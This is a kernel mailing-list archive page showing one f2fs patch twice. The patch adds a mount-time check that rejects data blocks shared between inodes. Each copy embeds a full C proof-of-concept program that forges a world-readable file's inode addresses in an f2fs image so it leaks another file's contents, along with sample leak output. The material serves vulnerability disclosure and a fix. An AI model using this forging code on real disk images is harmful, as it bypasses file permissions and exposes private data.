All of lore.kernel.org
 help / color / mirror / Atom feed
* [PATCH] f2fs: verify inode data-block ownership at mount
@ 2026-10-16 14:32 ` Haoran Wang
  0 siblings, 0 replies; 2+ messages in thread
From: Haoran Wang @ 2026-10-16 14:32 UTC (permalink / raw)
  To: jaegeuk, chao; +Cc: linux-f2fs-devel, linux-kernel, haoranwangsec

From 0000000000000000000000000000000000000000 Mon Sep 17 00:00:00 2001
From: Haoran Wang <haoranwangsec@gmail.com>
Subject: [PATCH] f2fs: verify inode data-block ownership at mount

\
f2fs resolves a file's logical offsets to data blocks through on-disk
inode metadata but never checks that a data block claimed by one inode is
not also claimed by another.  With offline write access to the block
device an attacker can forge a regular inode's i_addr so that a
world-readable file reads back a different file's data blocks, leaking
its contents across the permission boundary once the image is mounted.

PoC (forge.c, pre-patch; default mkfs.f2fs image, feature 0x00000000,
inode_checksum off):

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>

#define BLK 4096
#define FO (BLK - 24)        /* 4072: node footer offset within block */
#define SB 1024              /* superblock offset in the image */

static uint8_t *data;
static off_t len;

static uint16_t rd16(off_t o) { return data[o] | (data[o + 1] << 8); }
static uint32_t rd32(off_t o) {
    return data[o] | (data[o + 1] << 8) | (data[o + 2] << 16) | (data[o + 3] << 24);
}
static uint64_t rd64(off_t o) {
    uint64_t v = 0;
    for (int i = 0; i < 8; i++) v |= (uint64_t)data[o + i] << (8 * i);
    return v;
}
static void wr32(off_t o, uint32_t v) {
    data[o] = v; data[o + 1] = v >> 8; data[o + 2] = v >> 16; data[o + 3] = v >> 24;
}
static void wr64(off_t o, uint64_t v) {
    for (int i = 0; i < 8; i++) data[o + i] = v >> (8 * i);
}

struct finfo {
    off_t off;
    uint64_t size;
    int inl;
    uint32_t ext_blk, ext_len, addrs[16];
    uint8_t i_inline;
};

static int find(const char *name, struct finfo *f)
{
    uint32_t main = rd32(SB + 96);
    uint32_t end = main + 16384;
    if ((off_t)end > len / BLK)
        end = len / BLK;
    for (uint32_t blk = main; blk < end; blk++) {
        off_t off = (off_t)blk * BLK;
        if (off + BLK > len)
            break;
        uint32_t nid = rd32(off + FO);
        uint32_t ino = rd32(off + FO + 4);
        if (nid != ino || nid < 1)
            continue;
        uint16_t mode = rd16(off);
        if ((mode & 0xF000) == 0x4000)    /* directory */
            continue;
        char nm[256];
        memcpy(nm, data + off + 92, 255);
        nm[255] = 0;
        if (strcmp(nm, name) != 0)
            continue;
        f->off = off;
        f->i_inline = data[off + 3];
        f->size = rd64(off + 16);
        f->ext_blk = rd32(off + 352);
        f->ext_len = rd32(off + 356);
        for (int j = 0; j < 16; j++)
            f->addrs[j] = rd32(off + 360 + j * 4);
        f->inl = f->i_inline & 0x02;
        return 0;
    }
    return -1;
}

static void do_forge(struct finfo *s, struct finfo *t)
{
    if (s->inl) {
        memcpy(data + t->off + 360, data + s->off + 360, 3688);
        data[t->off + 3] |= 0x02 | 0x08;
        wr64(t->off + 16, s->size);
    } else {
        wr32(t->off + 352, s->ext_blk);
        wr32(t->off + 356, s->ext_len);
        for (int j = 0; j < 16; j++)
            if (s->addrs[j])
                wr32(t->off + 360 + j * 4, s->addrs[j]);
        wr64(t->off + 16, s->size);
        data[t->off + 3] &= ~0x02;
    }
}

static ssize_t read_all(int fd, uint8_t *buf, off_t n)
{
    off_t got = 0;
    while (got < n) {
        ssize_t r = read(fd, buf + got, n - got);
        if (r < 0) return -1;
        if (r == 0) break;
        got += r;
    }
    return got;
}

static ssize_t write_all(int fd, const uint8_t *buf, off_t n)
{
    off_t put = 0;
    while (put < n) {
        ssize_t r = write(fd, buf + put, n - put);
        if (r < 0) return -1;
        put += r;
    }
    return put;
}

int main(int argc, char **argv)
{
    if (argc < 2) {
        fprintf(stderr, "usage: %s <image>\n", argv[0]);
        return 2;
    }
    int fd = open(argv[1], O_RDWR);
    if (fd < 0) { perror("open"); return 2; }
    struct stat st;
    if (fstat(fd, &st)) { perror("fstat"); return 2; }
    len = st.st_size;
    data = malloc(len);
    if (!data) { perror("malloc"); return 2; }
    if (read_all(fd, data, len) != len) { perror("read"); return 2; }

    struct finfo s, t;
    if (find("secret", &s)) { printf("forge: secret not found\n"); return 1; }
    if (find("public", &t)) { printf("forge: public not found\n"); return 1; }
    printf("secret: off=%lld inline=%d size=%llu ext_blk=%u ext_len=%u\n",
        (long long)s.off, s.inl, (unsigned long long)s.size,
        s.ext_blk, s.ext_len);
    printf("public: off=%lld inline=%d size=%llu\n",
        (long long)t.off, t.inl, (unsigned long long)t.size);

    do_forge(&s, &t);

    if (lseek(fd, 0, SEEK_SET) < 0) { perror("lseek"); return 2; }
    if (write_all(fd, data, len) != len) { perror("write"); return 2; }
    printf("forge: public -> secret (%s) done\n", s.inl ? "inline" : "extent");
    free(data);
    close(fd);
    return 0;
}

Pre-patch result:

  forge: public -> secret (extent) done
  $ cat /mnt/public
  SECRET_EXT_99999
  RESULT: LEAK -- SECRET_EXT readable via public (vuln present)

Add a mount-time scan that, for every regular, non-inline-data,
non-inline-dentry, non-compressed inode in the main area, records each
direct data address in i_addr[base..end) into a per-block bitmap --
skipping the extra-attr region (base) and the inline-xattr tail (end)
where present.  f2fs never intentionally shares data blocks between
inodes, so an address already claimed by another inode is unambiguous
corruption: the mount fails with -EFSCORRUPTED instead of exposing the
stale data.  The check runs after f2fs_build_gc_manager() and unwinds
through the existing free_nm path on failure.

Inline-data files carry no separate data block and so are outside the
scope of this ownership check.

Signed-off-by: Haoran Wang <haoranwangsec@gmail.com>
---
 fs/f2fs/f2fs.h  |    1 +
 fs/f2fs/node.c  |   79 +++++++++++++++++++++++++++++++++++++++++++++++++++++
 fs/f2fs/super.c |    6 ++++++
 3 files changed, 86 insertions(+)

diff --git a/fs/f2fs/f2fs.h b/fs/f2fs/f2fs.h
--- a/fs/f2fs/f2fs.h
+++ b/fs/f2fs/f2fs.h
@@ -3978,6 +3978,7 @@
 bool f2fs_need_inode_block_update(struct f2fs_sb_info *sbi, nid_t ino);
 int f2fs_get_node_info(struct f2fs_sb_info *sbi, nid_t nid,
 				struct node_info *ni, bool checkpoint_context);
+int f2fs_verify_inode_data_ownership(struct f2fs_sb_info *sbi);
 pgoff_t f2fs_get_next_page_offset(struct dnode_of_data *dn, pgoff_t pgofs);
 int f2fs_get_dnode_of_data(struct dnode_of_data *dn, pgoff_t index, int mode);
 int f2fs_truncate_inode_blocks(struct inode *inode, pgoff_t from);

diff --git a/fs/f2fs/node.c b/fs/f2fs/node.c
--- a/fs/f2fs/node.c
+++ b/fs/f2fs/node.c
@@ -6,6 +6,7 @@
  *             http://www.samsung.com/
  */
 #include <linux/fs.h>
+#include <linux/buffer_head.h>
 #include <linux/f2fs_fs.h>
 #include <linux/mpage.h>
 #include <linux/sched/mm.h>

diff --git a/fs/f2fs/node.c b/fs/f2fs/node.c
--- a/fs/f2fs/node.c
+++ b/fs/f2fs/node.c
@@ -3445,6 +3446,84 @@
 	return 0;
 }
 
+static int f2fs_claim_data_addr(unsigned long *claimed, block_t main_b,
+		block_t total, block_t blkaddr)
+{
+	if (blkaddr == NULL_ADDR || blkaddr == NEW_ADDR)
+		return 0;
+	if (blkaddr < main_b || blkaddr >= total)
+		return 0;
+	if (test_and_set_bit(blkaddr, claimed))
+		return -EFSCORRUPTED;
+	return 0;
+}
+
+int f2fs_verify_inode_data_ownership(struct f2fs_sb_info *sbi)
+{
+	struct f2fs_super_block *raw = F2FS_RAW_SUPER(sbi);
+	block_t main_b = le32_to_cpu(raw->main_blkaddr);
+	block_t total = le64_to_cpu(raw->block_count);
+	unsigned long *claimed;
+	struct buffer_head *bh = NULL;
+	block_t blk;
+	int err = 0;
+
+	claimed = kvzalloc_objs(unsigned long, BITS_TO_LONGS(total));
+	if (!claimed)
+		return -ENOMEM;
+
+	for (blk = main_b; blk < total; blk++) {
+		struct f2fs_node *fn;
+		struct f2fs_inode *ri;
+		nid_t nid, ino;
+		int base, end, i;
+
+		bh = sb_bread(sbi->sb, blk);
+		if (!bh) {
+			err = -EIO;
+			break;
+		}
+		fn = (struct f2fs_node *)bh->b_data;
+		nid = le32_to_cpu(fn->footer.nid);
+		ino = le32_to_cpu(fn->footer.ino);
+		if (nid != ino || !nid)
+			goto next;
+		ri = &fn->i;
+		if (!S_ISREG(le16_to_cpu(ri->i_mode)))
+			goto next;
+		if (ri->i_inline & (F2FS_INLINE_DATA | F2FS_INLINE_DENTRY))
+			goto next;
+		if (le32_to_cpu(ri->i_flags) & F2FS_COMPR_FL)
+			goto next;
+		base = (ri->i_inline & F2FS_EXTRA_ATTR)
+			? le16_to_cpu(ri->i_extra_isize) / 4 : 0;
+		end = DEF_ADDRS_PER_INODE;
+		if (ri->i_inline & F2FS_INLINE_XATTR) {
+			if (f2fs_sb_has_flexible_inline_xattr(sbi) &&
+				(ri->i_inline & F2FS_EXTRA_ATTR))
+				end -= le16_to_cpu(ri->i_inline_xattr_size);
+			else
+				end -= DEFAULT_INLINE_XATTR_ADDRS;
+		}
+		if (base > end || end > DEF_ADDRS_PER_INODE)
+			goto next;
+		for (i = base; i < end; i++) {
+			err = f2fs_claim_data_addr(claimed, main_b, total,
+				le32_to_cpu(ri->i_addr[i]));
+			if (err)
+				goto out;
+		}
+next:
+		brelse(bh);
+		bh = NULL;
+	}
+out:
+	if (bh)
+		brelse(bh);
+	kvfree(claimed);
+	return err;
+}
+
 int f2fs_build_node_manager(struct f2fs_sb_info *sbi)
 {
 	int err;
 
diff --git a/fs/f2fs/super.c b/fs/f2fs/super.c
--- a/fs/f2fs/super.c
+++ b/fs/f2fs/super.c
@@ -5261,6 +5261,12 @@
 
 	f2fs_build_gc_manager(sbi);
 
+	err = f2fs_verify_inode_data_ownership(sbi);
+	if (err) {
+		f2fs_err(sbi, "data block referenced by multiple inodes");
+		goto free_nm;
+	}
+
 	err = f2fs_build_stats(sbi);
 	if (err)
 		goto free_nm;
-- 
2.43.0

^ permalink raw reply	[flat|nested] 2+ messages in thread

* [f2fs-dev] [PATCH] f2fs: verify inode data-block ownership at mount
@ 2026-10-16 14:32 ` Haoran Wang
  0 siblings, 0 replies; 2+ messages in thread
From: Haoran Wang @ 2026-10-16 14:32 UTC (permalink / raw)
  To: jaegeuk, chao; +Cc: haoranwangsec, linux-kernel, linux-f2fs-devel

From 0000000000000000000000000000000000000000 Mon Sep 17 00:00:00 2001
From: Haoran Wang <haoranwangsec@gmail.com>
Subject: [PATCH] f2fs: verify inode data-block ownership at mount

\
f2fs resolves a file's logical offsets to data blocks through on-disk
inode metadata but never checks that a data block claimed by one inode is
not also claimed by another.  With offline write access to the block
device an attacker can forge a regular inode's i_addr so that a
world-readable file reads back a different file's data blocks, leaking
its contents across the permission boundary once the image is mounted.

PoC (forge.c, pre-patch; default mkfs.f2fs image, feature 0x00000000,
inode_checksum off):

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>

#define BLK 4096
#define FO (BLK - 24)        /* 4072: node footer offset within block */
#define SB 1024              /* superblock offset in the image */

static uint8_t *data;
static off_t len;

static uint16_t rd16(off_t o) { return data[o] | (data[o + 1] << 8); }
static uint32_t rd32(off_t o) {
    return data[o] | (data[o + 1] << 8) | (data[o + 2] << 16) | (data[o + 3] << 24);
}
static uint64_t rd64(off_t o) {
    uint64_t v = 0;
    for (int i = 0; i < 8; i++) v |= (uint64_t)data[o + i] << (8 * i);
    return v;
}
static void wr32(off_t o, uint32_t v) {
    data[o] = v; data[o + 1] = v >> 8; data[o + 2] = v >> 16; data[o + 3] = v >> 24;
}
static void wr64(off_t o, uint64_t v) {
    for (int i = 0; i < 8; i++) data[o + i] = v >> (8 * i);
}

struct finfo {
    off_t off;
    uint64_t size;
    int inl;
    uint32_t ext_blk, ext_len, addrs[16];
    uint8_t i_inline;
};

static int find(const char *name, struct finfo *f)
{
    uint32_t main = rd32(SB + 96);
    uint32_t end = main + 16384;
    if ((off_t)end > len / BLK)
        end = len / BLK;
    for (uint32_t blk = main; blk < end; blk++) {
        off_t off = (off_t)blk * BLK;
        if (off + BLK > len)
            break;
        uint32_t nid = rd32(off + FO);
        uint32_t ino = rd32(off + FO + 4);
        if (nid != ino || nid < 1)
            continue;
        uint16_t mode = rd16(off);
        if ((mode & 0xF000) == 0x4000)    /* directory */
            continue;
        char nm[256];
        memcpy(nm, data + off + 92, 255);
        nm[255] = 0;
        if (strcmp(nm, name) != 0)
            continue;
        f->off = off;
        f->i_inline = data[off + 3];
        f->size = rd64(off + 16);
        f->ext_blk = rd32(off + 352);
        f->ext_len = rd32(off + 356);
        for (int j = 0; j < 16; j++)
            f->addrs[j] = rd32(off + 360 + j * 4);
        f->inl = f->i_inline & 0x02;
        return 0;
    }
    return -1;
}

static void do_forge(struct finfo *s, struct finfo *t)
{
    if (s->inl) {
        memcpy(data + t->off + 360, data + s->off + 360, 3688);
        data[t->off + 3] |= 0x02 | 0x08;
        wr64(t->off + 16, s->size);
    } else {
        wr32(t->off + 352, s->ext_blk);
        wr32(t->off + 356, s->ext_len);
        for (int j = 0; j < 16; j++)
            if (s->addrs[j])
                wr32(t->off + 360 + j * 4, s->addrs[j]);
        wr64(t->off + 16, s->size);
        data[t->off + 3] &= ~0x02;
    }
}

static ssize_t read_all(int fd, uint8_t *buf, off_t n)
{
    off_t got = 0;
    while (got < n) {
        ssize_t r = read(fd, buf + got, n - got);
        if (r < 0) return -1;
        if (r == 0) break;
        got += r;
    }
    return got;
}

static ssize_t write_all(int fd, const uint8_t *buf, off_t n)
{
    off_t put = 0;
    while (put < n) {
        ssize_t r = write(fd, buf + put, n - put);
        if (r < 0) return -1;
        put += r;
    }
    return put;
}

int main(int argc, char **argv)
{
    if (argc < 2) {
        fprintf(stderr, "usage: %s <image>\n", argv[0]);
        return 2;
    }
    int fd = open(argv[1], O_RDWR);
    if (fd < 0) { perror("open"); return 2; }
    struct stat st;
    if (fstat(fd, &st)) { perror("fstat"); return 2; }
    len = st.st_size;
    data = malloc(len);
    if (!data) { perror("malloc"); return 2; }
    if (read_all(fd, data, len) != len) { perror("read"); return 2; }

    struct finfo s, t;
    if (find("secret", &s)) { printf("forge: secret not found\n"); return 1; }
    if (find("public", &t)) { printf("forge: public not found\n"); return 1; }
    printf("secret: off=%lld inline=%d size=%llu ext_blk=%u ext_len=%u\n",
        (long long)s.off, s.inl, (unsigned long long)s.size,
        s.ext_blk, s.ext_len);
    printf("public: off=%lld inline=%d size=%llu\n",
        (long long)t.off, t.inl, (unsigned long long)t.size);

    do_forge(&s, &t);

    if (lseek(fd, 0, SEEK_SET) < 0) { perror("lseek"); return 2; }
    if (write_all(fd, data, len) != len) { perror("write"); return 2; }
    printf("forge: public -> secret (%s) done\n", s.inl ? "inline" : "extent");
    free(data);
    close(fd);
    return 0;
}

Pre-patch result:

  forge: public -> secret (extent) done
  $ cat /mnt/public
  SECRET_EXT_99999
  RESULT: LEAK -- SECRET_EXT readable via public (vuln present)

Add a mount-time scan that, for every regular, non-inline-data,
non-inline-dentry, non-compressed inode in the main area, records each
direct data address in i_addr[base..end) into a per-block bitmap --
skipping the extra-attr region (base) and the inline-xattr tail (end)
where present.  f2fs never intentionally shares data blocks between
inodes, so an address already claimed by another inode is unambiguous
corruption: the mount fails with -EFSCORRUPTED instead of exposing the
stale data.  The check runs after f2fs_build_gc_manager() and unwinds
through the existing free_nm path on failure.

Inline-data files carry no separate data block and so are outside the
scope of this ownership check.

Signed-off-by: Haoran Wang <haoranwangsec@gmail.com>
---
 fs/f2fs/f2fs.h  |    1 +
 fs/f2fs/node.c  |   79 +++++++++++++++++++++++++++++++++++++++++++++++++++++
 fs/f2fs/super.c |    6 ++++++
 3 files changed, 86 insertions(+)

diff --git a/fs/f2fs/f2fs.h b/fs/f2fs/f2fs.h
--- a/fs/f2fs/f2fs.h
+++ b/fs/f2fs/f2fs.h
@@ -3978,6 +3978,7 @@
 bool f2fs_need_inode_block_update(struct f2fs_sb_info *sbi, nid_t ino);
 int f2fs_get_node_info(struct f2fs_sb_info *sbi, nid_t nid,
 				struct node_info *ni, bool checkpoint_context);
+int f2fs_verify_inode_data_ownership(struct f2fs_sb_info *sbi);
 pgoff_t f2fs_get_next_page_offset(struct dnode_of_data *dn, pgoff_t pgofs);
 int f2fs_get_dnode_of_data(struct dnode_of_data *dn, pgoff_t index, int mode);
 int f2fs_truncate_inode_blocks(struct inode *inode, pgoff_t from);

diff --git a/fs/f2fs/node.c b/fs/f2fs/node.c
--- a/fs/f2fs/node.c
+++ b/fs/f2fs/node.c
@@ -6,6 +6,7 @@
  *             http://www.samsung.com/
  */
 #include <linux/fs.h>
+#include <linux/buffer_head.h>
 #include <linux/f2fs_fs.h>
 #include <linux/mpage.h>
 #include <linux/sched/mm.h>

diff --git a/fs/f2fs/node.c b/fs/f2fs/node.c
--- a/fs/f2fs/node.c
+++ b/fs/f2fs/node.c
@@ -3445,6 +3446,84 @@
 	return 0;
 }
 
+static int f2fs_claim_data_addr(unsigned long *claimed, block_t main_b,
+		block_t total, block_t blkaddr)
+{
+	if (blkaddr == NULL_ADDR || blkaddr == NEW_ADDR)
+		return 0;
+	if (blkaddr < main_b || blkaddr >= total)
+		return 0;
+	if (test_and_set_bit(blkaddr, claimed))
+		return -EFSCORRUPTED;
+	return 0;
+}
+
+int f2fs_verify_inode_data_ownership(struct f2fs_sb_info *sbi)
+{
+	struct f2fs_super_block *raw = F2FS_RAW_SUPER(sbi);
+	block_t main_b = le32_to_cpu(raw->main_blkaddr);
+	block_t total = le64_to_cpu(raw->block_count);
+	unsigned long *claimed;
+	struct buffer_head *bh = NULL;
+	block_t blk;
+	int err = 0;
+
+	claimed = kvzalloc_objs(unsigned long, BITS_TO_LONGS(total));
+	if (!claimed)
+		return -ENOMEM;
+
+	for (blk = main_b; blk < total; blk++) {
+		struct f2fs_node *fn;
+		struct f2fs_inode *ri;
+		nid_t nid, ino;
+		int base, end, i;
+
+		bh = sb_bread(sbi->sb, blk);
+		if (!bh) {
+			err = -EIO;
+			break;
+		}
+		fn = (struct f2fs_node *)bh->b_data;
+		nid = le32_to_cpu(fn->footer.nid);
+		ino = le32_to_cpu(fn->footer.ino);
+		if (nid != ino || !nid)
+			goto next;
+		ri = &fn->i;
+		if (!S_ISREG(le16_to_cpu(ri->i_mode)))
+			goto next;
+		if (ri->i_inline & (F2FS_INLINE_DATA | F2FS_INLINE_DENTRY))
+			goto next;
+		if (le32_to_cpu(ri->i_flags) & F2FS_COMPR_FL)
+			goto next;
+		base = (ri->i_inline & F2FS_EXTRA_ATTR)
+			? le16_to_cpu(ri->i_extra_isize) / 4 : 0;
+		end = DEF_ADDRS_PER_INODE;
+		if (ri->i_inline & F2FS_INLINE_XATTR) {
+			if (f2fs_sb_has_flexible_inline_xattr(sbi) &&
+				(ri->i_inline & F2FS_EXTRA_ATTR))
+				end -= le16_to_cpu(ri->i_inline_xattr_size);
+			else
+				end -= DEFAULT_INLINE_XATTR_ADDRS;
+		}
+		if (base > end || end > DEF_ADDRS_PER_INODE)
+			goto next;
+		for (i = base; i < end; i++) {
+			err = f2fs_claim_data_addr(claimed, main_b, total,
+				le32_to_cpu(ri->i_addr[i]));
+			if (err)
+				goto out;
+		}
+next:
+		brelse(bh);
+		bh = NULL;
+	}
+out:
+	if (bh)
+		brelse(bh);
+	kvfree(claimed);
+	return err;
+}
+
 int f2fs_build_node_manager(struct f2fs_sb_info *sbi)
 {
 	int err;
 
diff --git a/fs/f2fs/super.c b/fs/f2fs/super.c
--- a/fs/f2fs/super.c
+++ b/fs/f2fs/super.c
@@ -5261,6 +5261,12 @@
 
 	f2fs_build_gc_manager(sbi);
 
+	err = f2fs_verify_inode_data_ownership(sbi);
+	if (err) {
+		f2fs_err(sbi, "data block referenced by multiple inodes");
+		goto free_nm;
+	}
+
 	err = f2fs_build_stats(sbi);
 	if (err)
 		goto free_nm;
-- 
2.43.0

_______________________________________________
Linux-f2fs-devel mailing list
Linux-f2fs-devel@lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/linux-f2fs-devel

^ permalink raw reply	[flat|nested] 2+ messages in thread

end of thread, other threads:[~2026-10-16 14:33 UTC | newest]

Thread overview: 2+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-10-16 14:32 [PATCH] f2fs: verify inode data-block ownership at mount Haoran Wang
2026-10-16 14:32 ` [f2fs-dev] " Haoran Wang

This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.